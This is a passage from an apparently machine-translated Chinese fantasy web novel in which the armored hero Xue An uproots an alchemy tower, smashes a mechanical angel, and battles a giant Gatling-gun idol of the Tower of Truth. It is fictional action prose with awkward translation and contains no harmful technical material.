
    At the same time, the entire man who controlled the city felt that the ground under his feet was shaking.


    "You...Look at this tower!" Someone finally saw the clues and couldn''t help but yelled in horror.


    Everyone looked up, and then their mouths opened to the limit in an instant.


    Because the scene that happened before my eyes was too shocking I saw Xue An in armor standing high in the sky, his arms swayed, and the whole tower began to shake violently. .


    And because the tower was full of golden runes, it actually became a whole.


    Because of this, this high tower is like a giant pillar, shaken by Xue An''s own strength.


    Such a huge noise naturally alarmed the contactor.


    I only heard someone exclaiming: "What the **** is going on?"


    It was at this moment that only a loud bang came from the earth and the earth, and it spread all over the world in an instant.


    The sound was so loud that it shattered the clouds all over the sky in an instant.


    As for the nearest communication device, it was even broken into pieces by Peng.


    at the same time.


    Seeing Xue An exhaled and said, "Give me, get up!"

 Chapter 1514： Pull the tower away, 1 way east!

    oom!


    Under the stunned gaze of everyone, this alchemy tower was pulled out of the ground by Xue An.


    In the dusty place, there was only a bottomless pit left where the alchemy tower was.


    The high tower, like a giant beam supporting the sky, lay across the sky.


    The power of the gods!


    All those who have witnessed this scene have only these four words left in their minds.


    Only these four words can describe this scene from the past.


    At this moment, Xue An, who was standing high in the sky, looked down at the masses of beings at his feet, with a slight smile on his face.


    "sorry for disturbance!"


    Having said that, Xue An raised his hand and carried one end of the tower on his shoulders, raised his eyes to look at the direction, and then he pressed his feet, his whole figure flashed, and he carried the huge tower to the sky. Eastern Horizon.


    The whole process did not exceed a breathing scene, and the back court became empty, except for the big pit on the ground, there was no trace of the high tower.


    Many people have a dazed expression on their faces, and some even think that they are dreaming, until they pinch themselves to be sure that everything just happened is true.


    Then the whole Yujin City set off a great uproar.


    "Gosh, that **** Duan Fuxian is dead! Hahahahaha, God has eyes!"


    "Who is the adult in the golden armor? Why is it so powerful?"


    "The direction he flew away seems to be the headquarters of the Tower of Truth!"


    These excited discussions came and went one after another.


    At this moment, the people who were rescued by Xue An from the tower all knelt to the ground in the direction of Xue An''s departure, their faces full of excitement.


    Because they knew that if Xue An were not there, their final fate would very likely be a fine collection of Duan Fuxian.


    So they are naturally grateful to Xue An.


    at the same time.


    Xue An carried this special "weapon" with great length and flew to the headquarters of the Tower of Truth at an extremely fast speed.


    Wherever it passed, the dark clouds receded, and the sun and the moon gave in.


    And this scene naturally attracted the attention of many people on the ground. They looked up and watched in amazement as a half-length tower whizzed through the sky.


    Many people thought that they were not awake at that moment, but were dreaming!


    And everyone who passed by was shocked by this scene when they doubted their lives.


    In the eastern sea, hundreds of thousands of miles away from Yujin City, there is an island with a height of thousands of feet.


    The whole island is made of metal, and the shape is extremely exaggerated, full of steampunk style.


    Here is where the famous Tower of Truth is located.


    now.


    In the high tower in the center of the island, the speakers of the Truth Tower all looked at each other.


    The room was terribly quiet.


    Those who can appear here are the elites of the entire truth tower.


    Everyone present here is without exception the cultivation base of the Great Alchemist, and any one of them is enough to deter one party.


    But at this moment, these speakers were silent, instead focusing on the three people in the middle of the room.


    The three are two men and one woman, all wearing red robes, with a metal bird standing on one foot embroidered with gold silk on the robes.


    And this... is the sign of the Creator''s realm in the Tower of Truth.


    That''s right.


    These three are the only three creators in the Tower of Truth, and at the same time the three Grand Speakers of the Tower of Truth.


    The older man is named Tao Chengde, who is the strongest creator, and he is also the master of Duan Fuxian.


    The younger man is named An Guocong, who is also good at strength, and only Tao Chengde is the leader.


    As for that woman, she was the only female alchemist in the entire tower of truth, named He Yinuo.


    now.


    Tao Chengde held the communicator that had been shattered by the loud sound, his face was extremely ugly.


    Upon seeing this, An Guocong whispered: "Brother, what did that guy do in the end? Why is there such a loud noise?"


    Tao Chengde looked gloomy and shook his head, "I don''t know, but what is certain is that this guy is definitely not an ordinary person!"


    Ang Guocong''s eyes showed a cruel look, and he grinned and said, "What can I do if I''m not an ordinary person? I dare to fight against our Truth Tower. I really want to die! Or I will take someone over to see what''s going on?"


    Tao Chengde''s eyes were also full of endless killing intent.


    Xue An''s reprimand of the Tower of Truth and the abnormal noise behind made him feel a huge threat.


    So in order to get rid of it quickly, sending someone to the past is obviously the fastest way.


    But he was just about to nod in agreement.


    He Yinuo suddenly raised his eyes and looked out the window, a haze that was not easily noticeable flashed across his eyebrows, and then coldly said: "No need to go, I can feel that this person is coming to us!"


    "What?" Tao Chengde''s expression changed.


    Although he was incompatible with He Yinuo, he also knew that He Yinuo''s most powerful ability was her almost terrifying perception ability, so he didn''t dare to be careless and asked in a deep voice.


    "how many people?"


    He Yinuo shook his head, "From what I currently perceive, he is the only one!"


    "What? Is this guy a lunatic?"


    "Yes, he dared to come to our truth tower alone, did he come to die?"


    These sneers and sarcasm instantly resounded throughout the room.


    Even Ang Guocong couldn''t help but sneered: "So arrogant? Do you really think it would be great to eliminate a master alchemist? Jokes, it''s fine if he doesn''t come. After he comes, I will teach him to be a man!"


    Just when these people were ranting about it, He Yinuo dignifiedly took out a silver ball and pressed it violently.


    The silver sphere quickly deformed, transformed into a palm-sized aircraft, then turned into streamer, rushed out of the window, and disappeared into the sky.


    Seeing this scene, Ang Guocong sneered, "Hey Nuo, you didn''t hesitate to use your Mithril UAV for a kid who didn''t know where, don''t you think it''s a fuss?"


    He Yinuo ignored An Guocong''s mockery at all, but waited quietly with his eyes closed.


    Finally, after a moment, her body shook slightly, and then raised her hand to unfold a small scroll.


    The brilliance floating above the scroll soon a picture emerged.


    At the beginning, the picture was still rough and shaky, but soon the picture became clear.


    When they saw the scene in the picture, all the people who had just spoken out and had a face of disdain were shocked, and then collectively dumbfounded.


    In that picture, a man in golden armor was hurrying on his way carrying a half-tall tower full of length.


    As if he felt prying, the man slowly raised his head, the armor on his face separated instantly, revealing a calm face, then he smiled at the screen and his lips moved slightly.


    "Don''t worry, be prepared, I will be there soon!"


    The cold voice spread through the screen to the ears of everyone present.


    Then I heard a sound from Peng, the screen burst open, and the scroll shattered.


    He Yinuo snorted slightly.


    But the whole audience was shrouded in a dead silence filled with bone-chilling cold.

 Chapter 1515： Strategic mechanical angel

    Tao Chengde shook his whole body and roared angrily: "Quickly, open the defenses of the island! Monitor this guy''s whereabouts!"


    With the order, the whole island boiled.


    As the base camp of the Tower of Truth, the island is engraved with countless runes. Once opened, it will form a solid defense array.


    And not only that, when the defensive array is opened, the monitoring points buried in the entire continent will also be opened, and then the entire continent will be monitored in all directions.


    This is similar to the radar on the earth, and it is the assassin of the Tower of Truth specifically to deal with the strong.


    At this moment, when the entire island shook, and then was enveloped by a light blue light curtain.


    A light curtain also emerged in the middle of this hall.


    The brilliance above the light curtain is a little bit, and the number is as large as the sky full of stars. That is the power of all parties under monitoring.


    But no one cares about these at the moment, because in this full screen of light spots, there is a brilliance with a long tail of light coming towards the Tower of Truth at a terrifying speed.


    Even through a light curtain, one can still feel the mighty power contained in this brilliance.


    This also caused the atmosphere of the audience to instantly freeze to the freezing point.


    He Yinuo stared at the light curtain with a serious face, and said solemnly: "At this speed, at most five gears, this person will come to our truth tower!"


    Everyone''s eyes converged on Tao Chengde, the Speaker of the House.


    Tao Chengde''s face was pale, staring at the frantically moving light spot on the light curtain, and a few words came out between his teeth.


    "Send out strategic level mechanical angels to stop this person from the Tower of Truth!"


    Hearing the words strategic grade mechanical angel, there was a slight commotion in the audience.


    The expressions of many people became serious.


    Because these short words represent a kind of supreme combat power that is sufficient to deter all parties from daring to move.


    It is also the culmination of thousands of years of hard work in the Tower of Truth,


    Soon, An Guocong personally fetched an extremely exquisite suitcase. After opening it, there was a red button inside.


    "Brother!"


    Tao Chengde nodded, raised his hand, and pressed it heavily.


    Click!


    With a clear mechanical sound, a silver needle suddenly rose from the button and directly pierced Tao Chengde''s finger, taking out a little blood, and then there was a buzzing sound in the suitcase. .


    "Identity verification is complete, Honorable Speaker, do you want to activate the strategic level mechanical angel now?"


    A mechanical and dull voice came from this suitcase.


    Tao Chengde shouted without hesitation: "Yes!"


    "Follow your wishes!"


    As soon as the sound of the last word dissipated, everyone felt that the ground under their feet shook wildly, and then in the middle of the island, the ground rumbled and cracked, revealing a deep and big hole.


    Immediately afterwards, a little dangerous red light appeared in the cave.


    A strange burnt smell began to fill the air, the smell of dangerous electric charges escaping from the cave.


    Some people feel that their scalp roots stand up when they are close to them, and they feel even more uncomfortable from being stabbed by electric lights.


    Immediately afterwards, I saw the red glow in the cave suddenly burst, and a red light soared into the sky, rushing out of a big hole, and then a shape emerged in the big hole. An extremely delicate mechanical warrior.


    The whole body of this mechanical warrior exudes a silvery white luster, and the streamlined body seems to contain the power to destroy the world, which is chilling.


    Seeing this scene, Tao Chengde showed a smug smile.


    This is the peerless killer that the many alchemists of the Tower of Truth have spent countless efforts and thousands of years to develop.


    When he saw this strategic mechanical angel, Tao Chengde''s flustered heart instantly calmed down, and then slightly nodded at the mechanical warrior.


    A red light flashed in the mechanical warrior''s eyes, then he turned around and disappeared instantly.


    "Haha! Now, I see how arrogant this guy is!" An Guocong couldn''t help but sneered.


    Everyone also breathed a sigh of relief.


    Only He Enuo frowned, and said nothing.


    And at the moment when this strategic-level mechanical angel of the Tower of Truth made its grand debut.


    All forces on the entire continent perceive the strangeness almost simultaneously.


    "What''s the matter? What the **** are the guys in the Tower of Truth doing? Why did they suddenly release their killer?" In the headquarters of the Auction Alliance, many members of Parliament and elders exclaimed.


    Just as the audience was boiling, and many people were panicking for it, a calm female voice came from behind the bead curtain.


    "Immediately turn on the highest level of defense, and closely observe the whereabouts of this mechanical angel!"


    With just a few simple instructions, the noisy scene instantly calmed down, and then they responded.


    "Yes!"


    Soon, the auction alliance opened the highest level of defense, and the movement of this mechanical angel was also presented in the first time.


    As an existence that is not inferior to the Tower of Truth, the auction alliance has only a lot more monitoring points on the entire continent.


    In addition, this mechanical angel did not hide its whereabouts, so its movements were quickly investigated thoroughly.


    When seeing this mechanical angel not coming to the auction alliance, everyone in the audience was relieved.


    In any case, as long as it is not aimed at the auction alliance.


    But immediately, a bigger question enveloped everyone in the audience.


    Because in the east of the light curtain, an extremely bright brilliance is advancing rapidly.


    And the mechanical angel sent by the Tower of Truth obviously also went to meet this brilliance.


    At the same time Behind the bead curtain, a young girl looked at the movement on the light curtain, and her eyebrows gradually wrinkled.


    What the **** is the Tower of Truth doing?


    And what is the brilliance that came all the way to the east?


    Thinking of this, the girl suddenly gritted her teeth and said in a deep voice: "I will calculate the speed of the two immediately, and then order the nearby auction venue to release the detection aircraft. No matter what the price is, I have to see what happened!"


    "Yes!"


    With an order, this huge auction alliance began to operate like a precision weapon with a trigger.


    At the same time, the Hunter''s Guild, which controls all wilderness hunters on the entire continent, also noticed the strangeness, and then issued similar orders at the same time.


    The hunters in the nearby wilderness moved after hearing the wind and began to gather at the place where the incident occurred.


    And not only them, but also the people in the Runaway League, Apothecary League and other organizations were awakened by the sudden action of the Tower of Truth, and then moved quickly to find out what was going on!

 Chapter 1516： Showdown of power

    Even the Excavator''s Guild, which has been hidden deep underground and accompanied the ruins all day, is not far behind at this moment, and has caused the nearby subordinates to go there, trying to find out what the root of all this is.


    Just when all forces on the entire continent were alarmed.


    Carrying half of the high alchemy tower, Xue An, who was heading towards the Tower of Truth, suddenly stopped, and then raised his eyes to look towards the sky.


    "Is it finally coming to some interesting show?" Xue An said lightly, with a flash of excitement in his eyes.


    The voice just fell, but a red light appeared in the sky, and then ran towards Xue An with the sound of wind and thunder.


    At this time, people from all major forces rushed to the neighborhood almost at the same time, and then connected to the headquarters.


    When Xue An, wearing golden armor and carrying a towering tower on his shoulders, appeared in front of the bigwigs of various forces, everyone was stupid.


    In the auction alliance, the girl who was sitting behind the bead curtain with a gentle and calm face couldn''t help but get up suddenly after seeing this scene, looking at the picture in the light curtain with a shocked face.


    Who is this man? What is he going to do?


    These two doubts instantly rushed to the girl''s heart.


    Not only her, but almost all the bigwigs of all forces have almost the same questions at this moment.


    at the same time.


    A little red light flew to it, and then instantly stopped in front of Xue An.


    It is the strategic mechanical angel sent by the Tower of Truth.


    The two sides stood opposite each other, and the distance between each other was only a few thousand meters away, and the atmosphere suddenly became tense.


    And seeing this scene, the bigwigs of all parties before the light curtain have different minds.


    After a long period of trouble, is the Tower of Truth actually a mechanical angel sent to deal with this man?


    So what is the hatred between them?


    When everyone was puzzled, they saw that Xue Anhao changed the tower he carried on his left shoulder to the right in a leisurely manner, then looked up and down the cold killing machine and smiled faintly.


    "I know you can see that this thing is really interesting, but if you think that this alone can stop me, then you are too naive!"


    The voice was reproduced and spread to all forces.


    In the Tower of Truth, Tao Chengde''s expression was extremely gloomy, staring at Xue An in the picture, clenching his fists, and waving his hand suddenly.


    "kill him!"


    boom!


    Following Tao Chengde��s order, the mechanical angel, hundreds of thousands of miles away, suddenly burst into red light in his eyes, spread his wings, and rushed towards Xue An with a sharp howling sound. .


    The speed was so fast that it even left many phantoms behind him.


    The reason why this big killer can become a strategic weapon of the Tower of Truth is because of its terrifying speed and lethality.


    In fact, if you are an ordinary person, let alone hands-on, just the whistling sound can make you lose resistance.


    But to Xue An, these things were like a breeze on his face, even he watched quietly without blinking his eyelids.


    Until the mechanical angel had rushed to the front, the wings were retracted, and the sharp wing blade seemed to be about to pierce Xue An''s skin.


    Xue An raised his foot abruptly, and then kicked it out in a period of time.


    Bang!


    This kick made a dull loud noise, and along with the sound wave, there was this mechanical angel.


    I saw it rolled in the air and flew out, and even because of the strength of this foot, it tried several times to correct its posture without success.


    It wasn''t until Kankan was kicked away dozens of miles away that it could stand still.


    And this scene was also reprinted and came into the eyes of all parties.


    "How is it possible!" countless people exclaimed.


    In the auction alliance, the girl clenched her fists, staring at Xue An in the screen, whispering to herself.


    "It''s too fast, I didn''t see how to fight, the mechanical angel of the Tower of Truth has been kicked away!"


    "But how did he do it? Could it be that humans can react faster than machines?"


    At the same time, the tower of truth is also amazed.


    In the extremely dull atmosphere, Tao Chengde roared abruptly, "Kill him! I don''t believe his reaction can be so fast!"


    The mechanical angel moved again.


    Although half of his body was shattered by Xue An''s kick, the scars on its body were healed at a frantic speed when it was moving, and it had not waited for halfway to rush to the road before it had recovered.


    This is also the horror of this mechanical angel, no matter how badly it is injured, as long as it is not completely broken, the injury will soon heal.


    Because of this characteristic, this mechanical angel is also called the undead soul on the battlefield.


    This time, the mechanical angel was faster, and its wings were completely unfolded. Under the overwhelming shadow, it revealed an extremely hideous murderous intent.


    Not only that, the countless feathers on the wings are flying out silently, and then spread like water mist.


    Don''t underestimate this kind of feathers, which are as thin as vellus hair, each thread has extremely powerful power, as long as it is contaminated with a thread, it will cause serious injury.


    But at this moment, a black shadow suddenly swept across the sky.


    After passing through the layers of feathers, a huge black tower stood in sight.


    The pupils of all those who saw this scene shrank instantly.


    "How is it possible!" Someone exclaimed even more.


    Because this is exactly the half of the tower that Xue An carried, but at this moment, this alchemy tower that should have been erected on the ground is transformed into an indestructible golden cudgel, with the power that sweeps everything.


    This mechanical angel stood under the oncoming shadow, and there seemed to be a trace of confusion in his eyes.


    Because its brain full of gears and runes obviously couldn''t understand the scene before him, let alone react.


    Tao Chengde in the Tower of Truth suddenly reacted, and then screamed hysterically: "Get out!"


    Unfortunately, his reaction was still half a beat slow.


    At this moment, the high alchemy tower slammed directly on the mechanical angel.


    boom!


    After a crit, the mechanical angel was smashed into the ground by this black shadow, and the hard ground was shaken out of a big hole.


    But Xue An was obviously not quite satisfied. He was holding the other end of the tower with interest and laughed: "Want to kill me? Then I will send you on the road first!"


    As he said, Xue An raised the tower with both hands and smashed it down again.


    Boom! Boom! Boom!


    After a few heavy blows, the ground was smashed to pieces, and the deep hole in the middle was already bottomless.


    As for the mechanical angel...


    Except for the gears scattered all over the ground, there seems to be no trace of it.


    Everyone took a breath of air, trembling all over.


    Because this scene is too shocking and too violent.


    Xue An is like a giant, swaying endless power wantonly.


    Xue An, who had done all this, once again carried the half of the tower on his shoulders and smiled faintly at Dongfang.


    "The gift you gave was good, but now it''s mine!"


    This smile was engraved in the eyes of every alchemist in the Tower of Truth through the light curtain, and their complexion instantly turned pale.


    Immediately afterwards, Xue An''s figure flashed in the screen, and then disappeared.


    There was dead silence in the tower of truth.


    It wasn''t until a long time before I heard An Guocong smile and say: "What are you afraid of? We have a defensive formation. Even if this guy comes, he can''t help us!"


    As soon as the voice fell, I heard a loud bang above my head.


    All the alchemists felt that the ground under their feet was shaking violently.

 Chapter 1517： Nan Wu Gatlin Bodhisattva, 1 breath 3000...

    All the alchemists in the tower rushed out, and then they were shocked by the scene in front of them.


    But seeing Xue An, who was still hundreds of thousands of miles away, had actually appeared in the field at this moment, and waving the huge tower in his hand, was frantically bombarding the light curtain above his head.


    Boom! Boom! Boom!


    With every bombardment, the light curtain above the island will ripple.


    And when everyone came out, Xue An smiled condescendingly.


    "It''s all out? Okay, let me go faster!"


    With that said, Xue An picked up this high tower, and his whole body suddenly rushed to the sky, disappearing behind the clouds in the sky.


    what happened? gone?


    Just when the Tower of Truth and the people from all sides were all startled, they listened to the rumbling sound of wind and thunder from the sky.


    Immediately after that, I saw Yun Ai suddenly spreading around, and then I saw the half of the alchemy tower rushing down with the momentum of Mount Tai, slamming on this light curtain.


    boom!


    After a loud noise, the light curtain vibrated violently, and there were waves of indeterminate ripples.


    Everyone in the Tower of Truth was frightened.


    But immediately after seeing Xue An''s figure appearing behind the tower again, he said lightly: "Come again!"


    With that, he flew up again and fell down.


    But this time, the entire island groaned overwhelmedly, and huge cracks appeared, and the light blue light curtain quickly dimmed.


    Obviously, this defensive array can no longer hold up.


    Ang Guocong, who had previously claimed that he could sit back and relax with a defensive formation, turned pale at the moment.


    He also didn''t expect that the defensive array he had placed high hopes on would break so soon.


    The key is who can think of such a violent way to break the formation.


    At this moment, Xue An flew up again carrying the tower.


    An Guocong trembled with fright and couldn''t help but yelled at Tao Chengde: "Brother, it''s all over if you don''t shoot now!"


    Tao Chengde''s complexion can no longer be described as ugly, it can be said that his face is as gray as death, and his eyelids are beating wildly.


    When he heard Ang Guocong''s words, he gritted his teeth abruptly and screamed hysterically: "You forced me to come! Come!"


    With this shout, his face was aging for more than ten years in an instant, but shortly after, he heard a sigh from the island under his feet.


    Then I saw a turbulent wave in the distant sea, and a huge idol began to slowly emerge between the waves.


    When seeing this scene, whether it was the Auction Alliance or the Hunter Guild, the bigwigs of all forces were shocked by it, and they exclaimed.


    "It''s this thing!"


    "How is it possible! With the current strength of the Tower of Truth, how can it be possible to keep such a weapon?"


    The reason why the forces of all parties are so frightened is entirely because this idol represents an extremely terrifying power, a guardian power that has been passed down from the heyday of ancient civilization.


    Although these screams one after another, they did not hinder the appearance of this statue.


    When this idol completely appeared in front of everyone, everyone inside and outside the hall, including the light curtain, instantly lost their voice.


    Even the rough sea came to a halt.


    This is a huge and incomparable idol, the whole body is made of silver-white metal, and the face is made of various gears, forming a very mysterious and solemn texture.


    At this moment, the eyelids of this statue are drooping, and the whole figure is squatting, and the treasure is solemn, making people just want to kneel down and worship.


    In fact, Tao Chengde and others did exactly that.


    They knelt to the ground, crying and laughing in the direction of the statue.


    An Guocong laughed wildly, "Boy, no matter who you are, you are dead now!"


    Words fall.


    But seeing above the sky, Xue An pushed the tower down again.


    But just as his figure appeared in the sight of everyone, the chest of this **** statue suddenly separated to the sides, and from it rose a giant gun with a dark metallic luster.


    Immediately afterwards, I saw the roulette of this gun began to rotate gradually.


    At the beginning, the speed of the roulette was still a bit slow, but within one second, the speed of the roulette rose sharply.


    Then, the muzzle of this firearm sprayed out its huge flame.


    Accompanied by the gunfire, there was a huge sound that pierced the world.


    These noises sounded like a cascade of guns, and in the end they were even connected together and turned into a single sound.


    For a time.


    Only this violent gunfire was left in the world.


    And the bullets pouring down like a torrential rain rushed forward with the power to completely shred everything in front of him.


    The first half is the tower.


    When the dense barrage rushed to the front, the tower began to shorten crazily at a speed visible to the naked eye.


    That''s right.


    It is the kind of abrupt shortening, because the power of bullets is so powerful and dense!


    Even the remains of the tower were crushed into the finest dust, and then dispersed with the wind.


    In an instant.


    The half-tall tower that had been so long was vanished.


    And the intensive bombardment of this idol has just begun.


    But seeing the gun in his chest constantly moving the muzzle, the bullet rain went straight to Xue An.


    Under the attack of this intensity, Xue An, wearing golden armor, was like a butterfly in a storm, crumbling, seeming to be in danger of overturning at any time.


    And such a powerful power has also made the faces of all the forces pale.


    In the auction alliance, the girl stood behind the bead curtain, staring blankly at the dense bomb rain that seemed to tear the space apart, and muttered softly.


    "Nanwu Gatling Bodhisattva, six clean depleted uranium bombs, one breath of three thousand six hundred revolutions, merciful and compassionate to the world! Is this the Gatling Bodhisattva who suppressed one side and made countless powerful talkers change?


    Then her heart gradually sank, especially when she saw Xue Anzhi, who was flickering in the bullet rain, was gradually pressed into the corner like a trapped beast. It was a wry smile and shook his head.


    "It''s useless, this is a peerless weapon that swept a party in the heyday of ancient civilization, and any struggle is ineffective in front of it!"


    But as soon as her words fell, Xue An''s extremely cheerful laugh came from the bullet rain.


    "Good, good! This is the true power of the alchemy civilization that prestige the heavens and put the celestial creatures in their hands!"


    As he spoke, he saw him in the form of golden light and went straight to the idol.


    The **** image seemed to be inductive, his body slowly turned, and then under his shoulders the mechanical changes, and a black gun rose slowly.


    The gun radiated extremely cold light, and two shells were blasted out suddenly.


    The power was so powerful that even the trembling idol retreated Li Xu.


    The two shells came straight to Xue An with supreme power.


    The power is so powerful that it can kill any power below the big Luo in seconds.

 Chapter 1518： This shocking battle

    But in the face of such a powerful force, Xue An did not retreat, but showed a look of eagerness, and then his figure flashed, and he greeted him straight.


    "What is he going to do?" the girl in the auction alliance exclaimed.


    Not only her, all the people who witnessed this scene were surprised, and they didn''t understand what Xue An wanted to do without retreating.


    But this does not prevent the alchemists of the Tower of Truth from showing joy.


    Seeing Xue An rushing straight to the two shells, his figure did not dodge, but opened his arms and stood in the air carelessly.


    That means, it seems to be prepared to rely on the power of the armor to compete with these two shells.


    Seeing this scene, An Guocong could not help but let out a long sigh.


    Really looking for death! Actually relying on his physical body to fight against cannonballs, does he really think that his armor can be harder than cannonballs?


    What a joke!


    But that��s fine, no matter how good this guy is, everything is finally over!


    But just as the smile on his face appeared, before he completely climbed up his forehead, the scene before him re-frozen all his joy.


    Not only him, everyone who witnessed this scene couldn''t help but open their mouths slightly.


    Because at the moment when these two shells touched Xue An''s body, a faint ripple suddenly appeared on Xue An''s armor.


    This layer of ripples seemed to be very weak, even the two cannonballs rushing with extremely powerful force hit it without causing an explosion, but they kept pushing forward.


    But this layer of ripples is extremely tough. Although two deep pits were pushed out by the shells, there was no sign of breaking.


    The cannonball continued to rush forward until it was pushed to the limit. This layer of ripples shook abruptly. Then, like a rubber band pulled to the limit, it bounced back abruptly, even with the two cannonballs. Bounce directly out.


    The two shells are like flying birds that have lost their way. After turning around for a few times, they turned around and flew straight to the statue of Gatling along the way they came.


    And during the flight, the two shells began to flash a dangerous red light, apparently about to explode.


    Ang Guocong looked at him dumbfounded, and muttered to himself: "Why...how could this happen? What kind of material is this guy''s armor made of? Why can''t even Gatlin''s artillery be broken?"


    Hearing these words, standing by his side, looking up at the sky, He Yinuo suddenly sneered with a solemn face.


    "Of course it can''t be broken, because he is wearing a body armor handed down from ancient times!"


    "What? Fit armor? Isn''t this kind of thing already destroyed in the war of the year? How can it still exist?" An Guocong shouted hoarsely.


    He Yinuo seemed to feel that answering this kind of question simply humiliated his IQ, so he just glanced at the very excited An Guocong with a scornful look, and did not speak.


    As we all know, of the three speakers of the Tower of Truth, An Guocong is the most watery one.


    Even whether he really has the power of a creator is being questioned.


    Because he was able to become the three major speakers, he succeeded in taking the position entirely by slapping his beard and horses, and kneeling and licking Tao Chengde without restriction.


    So he didn''t know that these armors were also what Enno expected.


    At this moment, she focused all her attention on Xue An, especially when she saw Xue An wielding the power of this armor recklessly, her whole body was shaking with excitement.


    Is this the top armor in the heyday of ancient civilization?


    It really has a thrilling beauty!


    He Yinuo''s eyes were fascinated.


    at the same time.


    The two shells had already rushed to the front of Gatling God, and the flashing frequency of the red light became more and more rapid, and it was about to explode completely.


    But at this moment, Lord Gatling, who had drooped his eyes, suddenly opened his eyes.


    What kind of eyes are this!


    The dense runes filled it with dazzling light.


    But it was just a fleeting illusion, and immediately after that, the pair of eyes suddenly burst, and two cold lights that exuded the most icy breath were shot from it, and then they directly touched the two shells. .


    Click!


    With a soft sound, the two shells stopped abruptly, and then from the head of the shell, the white frost began to spread back quickly.


    In the blink of an eye, the two shells were stained white.


    A gust of wind passed.


    Cracks appeared on the two shells, and then they broke apart like broken ice crystals.


    The residue goes with the wind.


    But Gatlin''s attack showed no sign of stopping.


    On the contrary, that majestic face slowly lifted, and the eyes that would make people have a nightmare at the first glance began to flash dangerously again.


    In the buzzing sound of charging, Xue An didn''t have the awareness of the danger approaching. Instead, he stood there in time, watching this scene quietly, and then smiled slightly.


    "Interesting, go on!"


    As soon as the voice fell, the eyes of God Venerable Gatlin burst out again, and the two rays that burst out from it, like two evil dragons, came straight to Xue An.


    Wherever it passed, the wind stopped, and even the vibrations of the space elements were forcibly frozen and then stopped.


    But Xue An''s reaction to this was only to raise his hand and move forward carelessly.


    It seems that this can stop the invasion of chill.


    There was no sound, the two rays touched Xue An''s palm like fog.


    A little bit of cold light began to emerge again, and spread upward along Xue An''s arm.


    But before it corroded further, Xue An''s armor squirmed like a living thing, and then rushed into Xue An''s palm.


    In a short period of time, Xue An''s entire arm turned into a dragon, and the armor out of his palm turned into a dragon head. Then he opened his mouth and bit down viciously.


    Click!


    With this soft sound the surging cold air was completely wiped out by this blow.


    But Xue An just stood there and raised his hand.


    In the auction alliance, the girl''s expression changed, and she whispered softly: "This armor..."


    Suddenly, as if thinking of something, she Shen Sheng said, "Did the Bluestone City report that there was an ancient armor ready for auction?"


    "Yes!" someone responded outside the bead curtain.


    "Go and investigate immediately, who bought that armor!"


    "Yes!"


    The reactions of the other forces were similar, because Xue An��s current performance was too horrifying.


    The key is that from beginning to end, he only used his armor instinctive reaction to fight against this Gatling god.


    Even so, there is still nothing to lose.

 Chapter 1519： Taboo-Class Destroyer

    at the same time.


    This Gatling God Venerable also seemed to be irritated by Xue An��s performance. The legs and arms that were originally stumbling began to change, and then a cold firearm emerged from it, with the muzzle pointed at it. Xue An, the roulette was spinning, and fired on Xue An again.


    This time the barrage was countless times denser than before.


    If the barrage before it resembled a gust of wind and rain, then the barrage now resembles a steel wall made of bullets, blasting towards Xue An with an attitude of destroying everything.


    This power also made all those who witnessed this scene pale and shocked.


    But Xue An just smiled at this, and then stretched out in a leisurely manner, and said indifferently: "Big guy, you have been playing for a long time, enough to be enjoyable, so next... it''s my turn!"


    With the voice, the armor wings behind Xue An suddenly opened. Although there were only four feathers, once spread out, there was still a dazzling beauty.


    Then the wings flapped, and Xue An''s figure instantly disappeared in place.


    At this moment, the steel wall made of bullets whizzed past the place where Xue An had just stood.


    The difference between the front and the back is only the moment of a finger.


    What about others?


    Everyone was puzzled by it, including the Gatlin deity who stopped firing, and his muzzle was swinging around, looking for Xue An''s figure.


    "Hey, big guy, you can''t find me!" A joking voice came from the head of the Lord Gatling.


    God Gatlin did not hesitate at all, his muzzle stood up instantly, and he started firing wildly in the direction of the sound.


    But all this was too slow for Xue An. I saw a golden light swaying back and forth in the dense rain of bullets that could not pass the wind, as if entering an uninhabited state, and gradually flying towards this statue of Gatling. The top of his head.


    But at this moment, there was a loud sound of gears turning from the head of the Gatlin idol, and then the majestic face suddenly cracked, and a black paint appeared in the middle of the facial features. , The caliber is a barrel the size of a house.


    When the barrel appeared, before everyone could react, a huge cannonball rushed out of it.


    When this shell appeared, the whole world was quiet.


    A faint light lingered on the cannonball.


    Between heaven and earth, only the wind was whistling low, as if crying.


    Weeping about the imminent disaster.


    Immediately afterwards, I saw a huge sound sweeping out, so powerful that it even set off a stormy sea on the entire sea.


    "Cannon of World Destruction!" In the auction alliance, the girl screamed, and then yelled hysterically: "What are the guys in the Tower of Truth thinking, don''t they know that such a cannonball can destroy a The city? Once out of control, the entire continent is in danger of overthrowing. Do they want to die together?"


    Not only him, the Hunter Guild, Apothecary Alliance, Tracer Guild and other major forces all roared in horror, and sent the best blessings to everyone in the Tower of Truth.


    But this time they really wronged the Tower of Truth, especially the alchemists headed by Tao Chengde.


    Because Tao Chengde''s face was extremely gray at the moment, his whole body was shaking like a pendulum, he looked at the shell in fear, and muttered to himself.


    "Wh...what''s going on? Didn''t it mean that this **** Gatling has no exterminator?"


    As he said, there was a look of infinite fear in his eyes.


    Because as an alchemist in the realm of creators, he knew the power of the World Exterminator.


    Once the explosion occurs, the creatures within a radius of thousands of miles will be thoroughly washed, everything within a thousand miles will be wiped out, and everything within a hundred miles will be completely vaporized.


    As for the vicinity of the explosion center... there will only be nothing left!


    Moreover, after the explosion, there will be astonishing toxins remaining in the scope of the explosion, and there will be no grass growing within a thousand years.


    Because of such a huge and terrifying power, this extinction gun was a taboo weapon even in the heyday of ancient civilization.


    So at this moment Tao Chengde has only one thought in his mind, and that is... It''s a big game!


    As for Xue An...


    No one cares about his life or death anymore.


    Because no one thinks that he can survive this powerful explosion.


    Even if he is wearing ancient armor, he can''t do it!


    But just when everyone trembled in despair.


    Xue An laughed, "Is this the product of the peak of alchemy civilization? It is really extraordinary! There is even a taste of rules!"


    The eyes of the girl in the auction alliance gradually widened, and then shook her head.


    "This guy...Isn''t he scared to be stupid? It''s this time, and he is still in the mood to comment on the power?"


    But at this moment, I just heard Xue An continue to say: "But that''s all. If I only rely on this strength, then I am a little disappointed in your alchemy civilization!"


    With the voice, this shell has rushed to the front, and the faint glow of the upper layer has been faint to the point of imperceptible.


    As long as this **** completely disappears, the power contained in it will be completely released.


    But at this moment, Xue An raised his hand, and the armor on his arm instantly faded, revealing a white arm.


    What does he want to do?


    Seeing this scene, everyone was stunned.


    Then Xue An stretched out his slender fingers and shook it abruptly.


    Bang!


    Xue Ansheng held the front part of the shell in his hand.


    Everyone''s hearts trembled violently with this sound.


